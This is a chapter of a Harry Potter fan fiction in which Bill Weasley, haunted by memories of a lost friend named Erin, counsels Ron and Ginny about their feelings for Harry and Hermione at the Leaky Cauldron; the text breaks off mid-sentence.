	(125, 9, ' <p>Epiphanies 08</p>\n\n<p><b>Authors Notes: </b>&nbsp;The usual disclaimers: the story is based on characters and situations created by JK Rowling, copyright owned by JKR, Bloomsbury, Scholastic Press, Warner Bros., etc.&nbsp; Cindy and Carolyn, otherwise known as &#8220;The Terrible Two&#8221; in some of my other fics, are my creations, as well as some of the other characters in this story.</p>\n\n<p>Dedicated, as usual, to all those who reviewed but especially to <b>erin, Nicole,</b> and <b>Amelia</b>, whose thoughtful reviews and insights contributed immensely to this on-going story. A special dedication to <b>fopalup</b>, whose review set loose a plot bunny which led to this one.</p>\n\n<p>Hugs and kisses to you, guys!</p>\n\n<p>Hope you enjoy this one.</p> Chapter 8.&nbsp; &#8220;Love Is Never Lost &#8230;&#8221; <p><i>Memory is such a tricky thing, especially with the passage of time.&nbsp; Things or events that were painful at the time they occurred have a tendency to be seen as being more wonderful with the passage of time. Or ... they can become worse.</i></p>\n\n<p><i>Either way, things never remain the same.</i></p>\n\n<p><i>And yet ... and yet ... there are some things that never seem to change.&nbsp; Or, at the least, there are some things that one can still remember clearly -- and these have no tinge of good or bad about them.</i></p>\n\n<p><i>All that is there is the fact that, at one time, there was some </i><b>thing</b><i>.</i></p>\n\n<p><i>Or ... some </i><b><u>one</u></b><i>.</i></p>\n\n<p><i>Every once in a while, someone intrudes into my memory.&nbsp; She would be in her twenties by now: tall, but not as tall as I am; fair complexion; dark brown eyes set wide apart in an appealing face; thick, black hair to her shoulders ... a generous mouth that always seemed to be smiling.</i></p>\n\n<p><i>She was very fond of dresses, but always seemed to be wearing loose shirts and pants. There was a quality about her voice and laughter that I could never place, but would always recognize.</i></p>\n\n<p><i>And there were her eyes, which always seemed to tell me more than she ever would.</i></p>\n\n<p><i>She was my friend.</i></p>\n\n<p><i>&#8220;Was&#8221; because she left soon after our graduation&nbsp; ... I have not seen her for some time.&nbsp; Memories -- and a few things -- are all that is left for me now.</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>He didn&#8217;t know how long he stood there like a bull who&#8217;d taken a sledge hammer between the eyes, his brain cataloging those well-remembered features, and comparing them with the person in front of him, consciously noting the details that were so much like &#8211; and yet so <i>unlike</i> &#8211; his memories.</p>\n\n<p>Her voice broke through his befuddled mind: &#8220;I&#8217;m sorry, but I&#8217;m afraid you must be mistaken.&#8221;</p>\n\n<p>He shook his head as gave what he hoped was a winning, reassuring smile. &#8220;My apologies &#8230; it&#8217;s just that you looked almost exactly like someone I knew years ago,&#8221; he responded, and extended his hand. &#8220;I&#8217;m Bill Weasley &#8230; I take it you&#8217;ve already met my brother and his friends?&#8221;</p>\n\n<p>Mrs. Wright smiled and shook his hand, saying, &#8220;Quite all right. I&#8217;m Mrs. Wright &#8230; Nicole Amelia Wright.&nbsp; And this is my daughter, Carolyn, and her friend, Cindy Galloway.&#8221;</p>\n\n<p>&#8220;Pleased to meet you.&#8221; He turned and shook hands with the two young girls, noting in passing that Nicole&#8217;s daughter had inherited the best features of her mother: the long, straight black hair that shone in the sunlight &#8230; the lips that were full and pale without lipstick &#8230; the straight nose &#8230; and the strong chin that &#8230;</p>\n\n<p>Nicole tilted her head in a gesture so reminiscent of someone that he almost thought, for a moment, that it was Erin talking to him: &#8220;She must have been someone special.&#8221;</p>\n\n<p>He smiled, at the same time hoping that he&#8217;d successfully kept the bitterness from his voice, &#8220;She is, ma&#8217;am.&nbsp; She is.&#8221;</p>\n\n<p>Their eyes locked for a brief moment, and he blinked, staggered at the depth of sympathy he saw there, as well as the sparkling tears that seemed to have sprung out of nowhere&nbsp; &#8230; and he heard her soft, almost whispered voice, &#8220;I know.&#8221;</p>\n\n<p>Bill stared at her as silence enveloped them, but before he could make sense of his jumbled thoughts, Ginny&#8217;s voice broke in, &#8220;There you are! Mum&#8217;s getting worried &#8230; the whole lot of you going off like that!&#8221;</p>\n\n<p>She stopped as she realized the look of keen interest that Mrs. Wright, Carolyn and Cindy were giving her &#8230; and that three pairs of eyes were jumping from her to Bill to Ron and back to her. Before she could ask what everyone was looking at, Nicole stepped forward and extended her hand, &#8220;Hello.&nbsp; I&#8217;m Nicole Wright &#8230; and would I be correct that you&#8217;re related to Ron and &#8230; uh, Bill?&#8221;</p>\n\n<p>A surprised Ginny shook hands with the older woman. &#8220;Yes I am, ma&#8217;am. How&#8217;d you know?&#8221; Before the other could answer, she shook her head and gave a small laugh, &#8220;Of course, the hair &#8230; I&#8217;m Ginny. Virginia Weasley.&#8221;</p>\n\n<p>&#8220;Virginia?&#8221; Ginny looked at her in some surprise, &#8220;Not Guenevere?&#8221;</p>\n\n<p>&#8220;Ma&#8217;am?&#8221;</p>\n\n<p>&#8220;My mistake,&#8221; Mrs. Wright replied, shaking her head. &#8220;I was just remembering a favorite movie of my late husband &#8230; It&#8217;s nothing.&nbsp; My apologies.&#8221;</p>\n\n<p>Her statement about her husband cast a sudden pall over the group, and Carolyn held on to her mother even more tightly.&nbsp; Before the moment could get awkward, however, Bill spoke up, &#8220;I take it you were joining us at Florean Fortescue&#8217;s?&#8221; (A nod from Mrs. Wright confirmed his assumption.)&nbsp; &#8220;Well then, why don&#8217;t we all go together &#8230; and get there before the other Weasleys consume every last scoop of ice cream!&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Ron said, &#8220;and we still have to celebrate Hermione&#8217;s promotion!&#8221;</p>\n\n<p>&#8220;Promotion?&#8221; Bill and Nicole said simultaneously.</p>\n\n<p>&#8220;Yes &#8230; meet the newest Gryffindor prefect!&#8221; Ron adopted an unctuous tone, smiling at the two younger girls. &#8220;Which means that you will have to follow her orders &#8230; bow your heads whenever she passes by &#8230; kneel when she says kneel &#8230; memorize &#8216;Hogwarts: A History&#8217; &#8230;&#8221;</p>\n\n<p>&#8220;Is that your favorite book? Goody! Is it true &#8230;&#8221; Ron and Harry stared at Cindy, neither one bothering to hide their looks of horror &#8230; Hermione gave them a superior, haughty look and stuck out her tongue before turning back to the bouncing Cindy.</p>\n\n<p>&#8220;We&#8217;re in trouble, mate,&#8221; Ron said in a stage whisper to Harry. &#8220;Can Hogwarts stand <i>another</i> Hermione Granger?&#8221;</p>\n\n<p>&#8220;Well &#8230; Hogwarts has survived a thousand years, Ron,&#8221; Harry said. &#8220;Another two Miones shouldn&#8217;t bother it too much &#8230;&#8221;</p>\n\n<p>&#8220;Two?&#8221; Ron glanced at where Harry was looking and groaned.&nbsp; Carolyn was engrossed with the exchange between Hermione and Cindy &#8230; a light of interest and scholarship sparkling in her brown eyes. </p>\n\n<p>&#8220;You&#8217;re gonna have your hands full, Ron,&#8221; Harry said, laughing.&nbsp; </p>\n\n<p>If looks could kill, Hermione and Ginny would have been weeping over Harry&#8217;s body &#8230; before Ron could say anything, however, they were in front of Florean Fortescue&#8217;s &#8230; and they were engulfed in the warm embrace of the Weasley clan and their friends.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>What was it we shared?</i></p>\n\n<p><i>A lot of things that friends share: companionship, shared interests, mutual friends. But it was never simply that.&nbsp; There was an aspect about those days that made the time spent with Erin all the more unique.</i></p>\n\n<p><i>There are times when I would be saying something, and a feeling would creep up on me:&nbsp; &#8220;</i>I\'ve said &#8211; or written -- this before.<i>&#8221;&nbsp; And it will all come back ... I first shared the idea with Erin.</i></p>\n\n<p><i>A writer once said, &#8220;</i>Learning is finding out about the things you already know.<i>&#8221;&nbsp; And this was what made the time with Erin so unique ... a lot of things that I now am, were first shown to her.</i></p>\n\n<p><i>I guess that was what made the times spent so exceptional.&nbsp; It wasn\'t just because she was with me ... we were both learning something from each other.</i></p>\n\n<p><i>I never knew how much I learned until the sharing was gone ...</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>He blinked.</p>\n\n<p>Carefully, he brushed away a tear that had fallen on the page he was reading and, with a quick look around the crowded and smoky tavern, drew his wand &#8211; and paused, wondering why he had even enlarged the normally pocket-sized journal to the size he was reading.</p>\n\n<p>There was no need to read it &#8211; he had seared the words he&#8217;d written so long ago into his memory, in a vain effort to vent his self-recrimination in a blast of blind rage during the first lonely weeks in Cairo.&nbsp; He&#8217;d thought at the time that this was the easiest way to let go, to erase from his mind the memories of that special person &#8230; and the pain that she had brought to him.</p>\n\n<p>No, he admitted.</p>\n\n<p>That <i>he</i> had brought on himself.</p>\n\n<p>He glanced at the mirror behind the bar of the Leaky Cauldron, checking the locations of his extended family &#8230; hands fiddling with a large mug of ale &#8230; conscious of an ache in his chest and an imagined, phantom pain on his left wrist.</p>\n\n<p>Arthur and Molly were in a corner, chatting with Nicole and Cindy&#8217;s parents. The Twins were nearby with their friend Lee Jordan, apparently counting the money earned from the very first sales of Weasley&#8217;s Wizarding Wheezes &#8230; or hatching some diabolical scheme to show Colin Creevey that he was courting an early grave if he continued with his attentions towards Ginny.</p>\n\n<p>The latter was off to one side, chatting amiably with Colin and her classmates &#8230; directly across from her was Ron Dean Thomas and Seamus Finnegan, waving his long arms like a windmill, undoubtedly telling them about <i>his</i> encounter with a gang of toughs.&nbsp; Close by were Cindy and Carolyn, both of them giggling and whispering to each other &#8230; and making faces towards the center of the tavern.&nbsp; </p>\n\n<p>He shifted, trying to spot what the two young girls were giggling about&nbsp; &#8230; </p>\n\n<p>Of course, he thought.&nbsp; What else could it be?</p>\n\n<p>Hermione Granger was apparently engrossed in a rather thick volume that she had propped up on a table, absently curling a strand of her hair around a finger as she read.&nbsp; Harry Potter was beside her, leaning back in his chair, another thick book opened in front of him.</p>\n\n<p>Only, he wasn&#8217;t reading.&nbsp; He had tilted his head to one side, apparently engrossed in studying his best friend.&nbsp; She looked up and saw him staring at her &#8230; and a warm smile broke out on Harry&#8217;s face.</p>\n\n<p>Hermione smiled back, and turned back to her book &#8230; neither one showing the slightest hint of discomfort at what should have been an embarrassing moment for two people who thought of each other as just the best of friends. It was as if getting caught staring at the other was &#8230; <i>natural</i> for both of them. </p>\n\n<p>It was an endearing sight, Bill thought, remembering other times and someone else &#8230; and one, he reflected to himself, far too easy to misinterpret.&nbsp; Unless there was <b>no</b> misunderstanding or misinterpreting what his own eyes could see &#8230;</p>\n\n<p>He shook his head and sighed. </p>\n\n<p>He knew the feeling too well &#8230; and he knew what his youngest siblings were going through, as he caught Ron and Ginny casting glances at the pair who were lost in their own world.</p>\n\n<p>Been there.</p>\n\n<p>Done that.</p>\n\n<p>Made mistakes along the way.</p>\n\n<p>And the memories would have made any Dementor ecstatic at the mere mention of meeting up with him.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>&quot;Is it, or isn\'t it?&quot;</i></p>\n\n<p><i>&quot;What?&nbsp; Is it, or isn\'t it ... what?&quot;</i></p>\n\n<p><i>&quot;Love.&quot;</i></p>\n\n<p><i>Erin ... Erin ... do you think that you need my opinion on this matter?&nbsp; Granted, I am older than you are (if a few months can qualify me as &#8216;older&#8217;).&nbsp; I am more experienced in this matter than you are.&nbsp; But still -- why ask me?</i></p>\n\n<p><i>There are many ways to look at &quot;love.&quot; The matter has been discussed a million ways, in the thousands of years of human existence.&nbsp; Ask any person, and he will give his or her opinion ... and another would differ ... and another ... and still another.</i></p>\n\n<p><i>Who really tells you if this is &quot;it&quot; or not?</i></p>\n\n<p><i>Certainly not them.&nbsp; </i></p>\n\n<p><i>Positively, not me.</i></p>\n\n<p><i>Then -- who?</i></p>\n\n<p><i>You.</i></p>\n\n<p><i>Follow your heart.&nbsp; That\'s all I can really say.</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>A clatter at his elbow brought him back to the present, and he turned to look into the blue eyes of his youngest brother, who smiled and said, &#8220;You look like a man who needs a drink, Bill.&nbsp; Have one on me.&#8221;</p>\n\n<p>&#8220;No, thanks, Ron. I already have &#8230;&#8221; His answer was cut short as he looked down at the mug he was lifting, surprised that it was empty.&nbsp; He stared at it blankly for a moment and then felt Ron nudging him. With a grateful smile, he picked up the mug that Ron offered, lifted it to his lips &#8230; and stopped.&nbsp; &#8220;On second thought, Ronald &#8230; why don&#8217;t <i>you</i> drink this?&#8221;</p>\n\n<p>&#8220;That&#8217;s yours, Bill.&#8221;</p>\n\n<p>&#8220;Fred or George didn&#8217;t happen to give you this, did they?&#8221;</p>\n\n<p>&#8220;Bill!&#8221; Ron exclaimed in a reproachful voice. &#8220;Would I do something like that to my oldest brother?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>The two locked eyes briefly; with a resigned air, Ron called over Tom the bartender and asked for two mugs of ale. Bill raised an eyebrow at this but merely smiled and said, &#8220;I may not be a Cindy Galloway, brother &#8230; but I did watch the lot of you growing up.&#8221;</p>\n\n<p>Ron snickered at that, remembering the incident in the ice cream parlor when Fred, in a gesture of &#8220;friendship,&#8221; offered Carolyn a Canary Cream.&nbsp; The little girl had been so grateful (apparently, all the walking and excitement of the day had worked up quite an appetite), but Cindy grabbed the pastry from her just before she could bite on it.</p>\n\n<p>The sudden move surprised them all, especially Fred who stood, mouth agape &#8211; which gave Cindy the chance to shove the Canary Cream into his open mouth &#8230; and he promptly turned into a six-foot canary with a red-feathered crown.</p>\n\n<p>The shrieks of surprise from Carolyn and her mother were met by a roar of laughter from the others; within seconds, Fred had popped back to his normal self, only this time with a face as red as his hair, sputtering at the surprise attack.</p>\n\n<p>&#8220;My cousin told me all about you,&#8221; was the smug reply from a laughing Cindy.&nbsp; &#8220;She told me never to accept anything from you or your brothers &#8230; not unless I&#8217;m prepared to feed it to Mrs. Norris first.&#8221;</p>\n\n<p>Fred had taken it well, even treating the two girls to Florean&#8217;s special four-scoop ice cream cones (each scoop changing colors and flavors with each lick), and promising not to use either one as a test subject in the future.</p>\n\n<p>&#8220;You&#8217;re gonna have a problem with those two, Ron,&#8221; Bill said with a snicker. </p>\n\n<p>Ron sputtered. &#8220;Why,&#8221; he asked in an aggrieved tone, &#8220;does everyone think that I&#8217;ll have <i>anything</i> to do with them when they get to Hogwarts? For all I know, they may end up in Slytherin or Ravenclaw &#8230;&#8221;</p>\n\n<p>He stopped at the look of amusement in Bill&#8217;s eyes, realizing that he was being too defensive, was protesting too much &#8230; he broke away from Bill&#8217;s gaze (and an eyebrow that was almost to Bill&#8217;s hairline), and glanced at the mirror behind the bar.</p>\n\n<p>And suddenly blurted out, &#8220;Do you believe in platonic love?&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>Erin ... Erin &#8230; don\'t try to treat love as an examination you can prepare for.&nbsp; Whatever preparation one makes cannot take into account everything that may happen.&nbsp; And never try to reduce love to an intellectual exercise.&nbsp; In the end, </i>feeling<i> -- an intangible </i>something<i> -- actually defines it for us.</i></p>\n\n<p><i>Treat love as an adventure, as a clich&#233; would go.&nbsp; Nobody wants to be hurt ... no one walks in with eyes closed ... everyone wants to be sure of oneself. &nbsp;But how can we ever be sure, unless one has tried?</i></p>\n\n<p><i>Love is one of those intangible, undeniable things that happen -- unavoidable, except by choice.</i></p>\n\n<p><i>But then ... who does not make the choice to try?</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Are you talking about Harry or about yourself?&#8221;</p>\n\n<p>Ron&#8217;s head snapped up to stare at him through the mirror&#8217;s reflection, his face confused. Bill considered apologizing for a moment, to say that he&#8217;d probably misunderstood or was thinking about something else &#8230; but no, he thought. Best to have this out &#8230; best for him to do his older brother act <i>now</i> when an opportunity presented itself, rather than ignore it and let someone else (like Percy!) try to do it for him &#8230;</p>\n\n<p>He stared back at Ron in the mirror, blue eyes locking with blues, and said, &#8220;You <i>were</i> asking about platonic love, weren&#8217;t you?&#8221;</p>\n\n<p>Bill watched in amusement as Ron&#8217;s face turned white, and then red &#8230; Ron broke away from his steady gaze to glance in the mirror at his best friends &#8230; before looking back and locking stares with his older brother.</p>\n\n<p>For a long moment, they locked eyes as they played a game from their younger days &#8230; daring the other to break away and admit defeat. But the game was interrupted by Tom&#8217;s clatter as he set down their order of ale and a plate of nibbles in front of them. &#8220;Sorry, Bill,&#8221; he puffed, &#8220;couldn&#8217;t give you a room or table yet &#8230; the place is just too crowded right now.&#8221;</p>\n\n<p>&#8220;No problem, Tom,&#8221; Bill said with a smile at the old man.&nbsp; &#8220;We can hold off for a while longer.&#8221;</p>\n\n<p>With a nod, the bartender left them and Bill lifted his drink in a toast. </p>\n\n<p>&#8220;Here&#8217;s to love in <i>all</i> its forms,&#8221; he said, and took a deep gulp of his drink.&nbsp; He watched as Ron pondered the toast and, reluctantly, lifted his own drink in a responding toast, and drank &#8230; eyes again focused on the mirror and his friends. </p>\n\n<p>&#8220;Speaking from experience, are we?&#8221; Ron asked in a mocking voice. He was about to comment further when he stopped, surprised at the blazing eyes Bill directed at him. He tried to work his suddenly dry throat,&nbsp; apologize for the tactless remark (one <i>never</i> joked with a Gringotts&#8217; curse-breaker) &#8230; and started breathing again only when Bill shook his head and smiled back (a forced, bitter smile).</p>\n\n<p>&#8220;Yes I am, Ron,&#8221; Bill replied. &#8220;Speaking from experience, that is.&#8221;</p>\n\n<p>&#8220;Anyone I know?&#8221; Ron asked in a bantering tone. &#8220;Like &#8230; umm, who was it that Nicole reminded you of?&#8221;</p>\n\n<p>Bill ignored the question as he raised his ale in a silent toast to the two people he could see in the mirror, engrossed in their own world and each other, before looking back at his youngest brother.</p>\n\n<p>&#8220;So, who were <i>you</i> talking about, Ron? Are you asking about <i>yourself</i> &#8230; or are you asking about Harry?&#8221;</p>\n\n<p>Ron flushed as he replied, &#8220;I don&#8217;t know, Bill.&nbsp; Honestly &#8230; I don&#8217;t <i>know</i>.&#8221;</p>\n\n<p>Ron turned away from Bill but kept his eyes away from the mirror and the sight that he knew would be there. &#8220;I don&#8217;t know, Bill,&#8221; he repeated in a quiet, meandering voice. &#8220;There are times like this morning &#8230; when I <i>think</i> of her as a girlfriend &#8230; and then I see how she looks at Harry and wonder whether it&#8217;s love or envy that I feel &#8230; other times, I think that it&#8217;s just a crush on her &#8230; you know, something that will get blown away when I go back to school and see Lavender or Parvati or Padma &#8230; or maybe it&#8217;s just because I&#8217;m so used to having her around, you know &#8230; teasing her, fighting with her &#8230; maybe it&#8217;s just because I&#8217;m comfortable with her &#8230; or maybe I&#8217;m just scared to try it with other girls so I may as well fall in love with her &#8230;&#8221;</p>\n\n<p>&#8220;Or maybe you&#8217;re just in love with love.&#8221;</p>\n\n<p>Ron glared at his brother, fully expecting to see the mocking tone and manner that he&#8217;d come to expect from the Twins whenever the subject came up &#8230; and was again startled by the look of utter seriousness on his eldest brother&#8217;s face.</p>\n\n<p>He sighed. &#8220;Maybe &#8230; but how do you <i>know</i>? How do you know if what you feel for your best friend is the real thing or not?&#8221;</p>\n\n<p>&#8220;I assume that the &#8216;best friend&#8217; we&#8217;re talking about is Hermione?&#8221;</p>\n\n<p>Ron had been about to gulp down his drink when Bill&#8217;s insinuation made its way through his bemused brain &#8211; and he suddenly sprayed ale over the bar top as the liquid went the wrong way down his throat. He gasped, trying to say something in response, but was stopped as he nearly choked &#8230; and Bill, laughing, was pounding his back as he coughed and sputtered &#8230;</p>\n\n<p>He looked around and caught sight of everyone looking at him, and he flushed. &#8216;Great, Ron!&#8217; he thought to himself, &#8216;Make a prat of yourself in front of a live audience &#8230; better straighten Bill out, else I won&#8217;t be hearing the end of this!&#8217;</p>\n\n<p>&#8220;Who else, Bill? What do you think of me &#8230; a &#8230; a &#8230;&#8221;</p>\n\n<p>&#8220;Just checking,&#8221; Bill said, a wide, wide grin splitting his tanned, handsome face with the dragon&#8217;s fang dangling from one ear. &#8220;So, it <i>is</i> Hermione, I presume?&#8221;</p>\n\n<p>&#8220;Keep it down, will you!&#8221; Ron hissed, looking around nervously. &#8220;If Fred and George hear about this &#8230; they&#8217;re liable to do something that <i>will</i> embarrass me &#8216;til the day I die!&#8221;</p>\n\n<p>&#8220;You really think you can keep that away from them?&#8221; Bill replied with deep amusement. &#8220;Knowing those two, they&#8217;re probably cooking up some scheme or another to bring you and Hermione together &#8230; although, given the success those two have with their jokes, they&#8217;re far more liable to bring you and <i>Harry</i> together.&#8221;</p>\n\n<p>An image of Harry, messy hair, round glasses and knobby knees, walking into the sunset with a tall, red-haired, freckled, long-nosed wizard, holding hands and whispering sweet nothings to each other came into his mind &#8230; and Ron shuddered so badly that his drink spilled out of his shaking hand. </p>\n\n<p>&#8220;Now <i>that&#8217;s</i> something that could make a guy <i>sick</i>,&#8221; he said, as he tried to push the appalling thought away &#8211; and nearly choked at Bill&#8217;s reply:</p>\n\n<p>&#8220;Oh, I don&#8217;t know &#8230; depends on the wizard, I think.&#8221;</p>\n\n<p>Ron&#8217; eyes widened in shock, staring at his brother as the latter batted his lashes with a simpering smile, and the thought popped into his mind, &#8220;Is <i>Bill</i> &#8230; ?&#8221; </p>\n\n<p>&#8220;Sorry, Ron, I don&#8217;t swing that way,&#8221; Bill said with a laugh. Ron heaved a sigh of relief &#8230; he didn&#8217;t know how he would deal with such a revelation &#8230; and felt momentary gratitude to his older brother for taking his mind off his troubles.&nbsp; It was at that moment that he happened to glance at the mirror again &#8230; and felt his relief slowly ebb away again.</p>\n\n<p>His <i>friends</i> were leaning back in their chairs, smiling at each other in a way that he could only envy &#8230; and again, he felt a tinge of resentment that they seemed to be sharing something which he was not a part of.&nbsp; Mentally, he started counting off all the incidents which he should have been part of but had missed out on &#8230; starting with Harry&#8217;s first Quidditch game and the time when he&#8217;d stood frozen in the stands, silently urging Hermione on in her rescue mission &#8230; realizing only after it was all over that he&#8217;d been standing there like a dodo, rather than doing something to <i>help</i> &#8230;</p>\n\n<p>&#8220;Hi, Bill &#8230; Ron.&#8221; The brothers turned as Ginny stood beside Bill, and felt their lower jaws drop to the floor as she grabbed a mug and proceeded to take a huge gulp of the ale &#8211; after which she nearly fell down, coughing as the liquor burned down her throat.&nbsp; A horrified Ron checked the mug she&#8217;d grabbed, and sighed with relief when he saw that&nbsp; she had grabbed, out of pure serendipity, Bill&#8217;s mug &#8211; not the one that the Twins had given him to offer Bill.</p>\n\n<p>His relief swiftly turned to anger, however, and he glared at his sister: &#8220;What was that all about? You&#8217;re not allowed to drink liquor &#8230;&#8221;</p>\n\n<p>&#8220;Oh, blow it out, brother-o-mine!&#8221; Ginny responded through her coughing fit.&nbsp; She looked up, face red and eyes tearing up, &#8220;And I suppose you&#8217;re drinking sarsaparilla or something?&#8221;</p>\n\n<p>&#8220;Uh &#8230;&#8221;</p>\n\n<p>&#8220;Thought so,&#8221; Ginny replied triumphantly.&nbsp; She was about to grab Bill&#8217;s mug for another swig when Bill stopped her.</p>\n\n<p>&#8220;I think you&#8217;d do better with some butterbeer, Ginny,&#8221; Bill said. The eldest and youngest Weasley locked eyes for a moment, and Bill waved to old Tom. &#8220;On the other hand, a small gillywater won&#8217;t hurt &#8230; a medicinal dose, I think.&#8221;</p>\n\n<p>Ron was about to ask why when he glanced in the mirror &#8230; and dropped all protest. </p>\n\n<p>Hermione was leaning back, for all the world like someone exhausted from reading and was now resting her eyes &#8211; but instead of closing them,&nbsp; however, her eyes were <i>resting</i> on the napping Harry Potter.&nbsp; A small smile was playing on her face, and Ron felt, again, a small thrill in his spine as he realized just how much his friend had changed from their first encounter &#8230; </p>\n\n<p>But her smile &#8230; affectionate, caring, loving &#8230; it was a smile directed at <i>Harry</i>, not at him, and he again felt an ache in the region of his chest. As if she had felt his eyes on her, she suddenly looked up and met his eyes &#8230; and turned away, embarrassed at being caught staring at Harry.&nbsp; </p>\n\n<p>He swallowed &#8230; and almost gagged as he felt warm ale flowing down his throat.&nbsp; He didn&#8217;t realize that he&#8217;d lifted his mug as he stared in the mirror at his friends, and understood that what he saw was the impetus which drove Ginny to take a nip from Bill&#8217;s mug &#8230;</p>\n\n<p>His eyes shifted away from his friends, and saw Bill&#8217;s sympathetic eyes on his &#8230; knew that Bill saw the same thing he saw and realized, in that instant, what Bill went through with the mysterious person he had mistaken Nicole Amelia Wright for &#8230;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>I knew what I was to Erin -- sometime father, sometime brother, at all times, a <b>friend</b>.&nbsp; Someone she could lean on, someone she could cry on, a friend to whom she could talk to about any subject under the sun, the moon or the stars ... and be assured of a serious face.</i></p>\n\n<p><i>Until one of us started laughing.</i></p>\n\n<p><i>Someone who was there.</i></p>\n\n<p><i>Just ... <b>there</b>.</i></p>\n\n<p><i>But, not someone who would court her.</i></p>\n\n<p><i>Not someone who would fall in love with her.</i></p>\n\n<p><i>But I did.&nbsp; I had been, for some time.&nbsp; Yet, I could never bring myself to tell that to her.&nbsp; Or even to hint that much.</i></p>\n\n<p><i>I guess ... although Erin sometimes teased me for being &quot;inhuman&quot;... I knew I had my own faults.&nbsp; Especially those of fear ... and indecision.</i></p>\n\n<p><i>I wouldn\'t even admit it to myself for some time.</i></p>\n\n<p><i>I had tried to rationalize it away ... I told myself that she was a very lovable person -- <b>anyone</b> could fall in love with her.&nbsp; </i></p>\n\n<p><i>Yes, I know -- just look at me.&nbsp; </i></p>\n\n<p><i>It was only because I was close to her ... I was her sounding board for problems ... she trusted me more than anybody else ...</i></p>\n\n<p><i>I kept telling myself, &quot;I love Erin, yes ... but I am <b>not</b>\n\n</i>in love<i> with her!&quot;</i></p>\n\n<p><i>Which was a lot of bull.</i></p>\n\n<p><i>Something within me always refused to agree.</i></p>\n\n<p><i>I finally had to accept it.</i></p>\n\n<p><i>I had been a blind <b>fool</b> ... to have let my rationalizations as well as my fear of losing Erin -- to overshadow my true feelings. Be what it may ... there was no way I could go back to the past with her.&nbsp; It was over ... finished.&nbsp; She was with someone else ...</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Bill was a good listener, Ron and Ginny reflected much later.&nbsp; It was as if the sight of a comfortable Harry and Hermione together, sharing a moment in which it seemed there was no one else in the world but themselves, opened the floodgates of their roiling emotions and thoughts.</p>\n\n<p>Bill listened as they&#8217;d poured out everything that had gone through their minds that day &#8230; starting with the moment Ron opened the door only for Harry and Hermione to fall into the house &#8230; their talk among the trees as the sun was climbing into the sky &#8230; Ginny finally opening up about her gratitude and debt to Harry after what had happened in the Chamber of Secrets (with Ron quietly cursing under his breath at the missed opportunity for Ginny to open up) &#8230; to the spectacle of Hermione on top of Harry as they Floo&#8217;ed in earlier that day (for which Bill had given a resounding and appreciative laugh) &#8230; Ginny&#8217;s frustration and regrets at having frozen during the fight &#8211; and the moments after &#8230; Ron&#8217;s feelings and emotions when Bill had stopped him from going to Hermione &#8230; and finally, Ron&#8217;s thoughts, revelations and realizations in the minutes before his encounter with the thugs and the two young girls 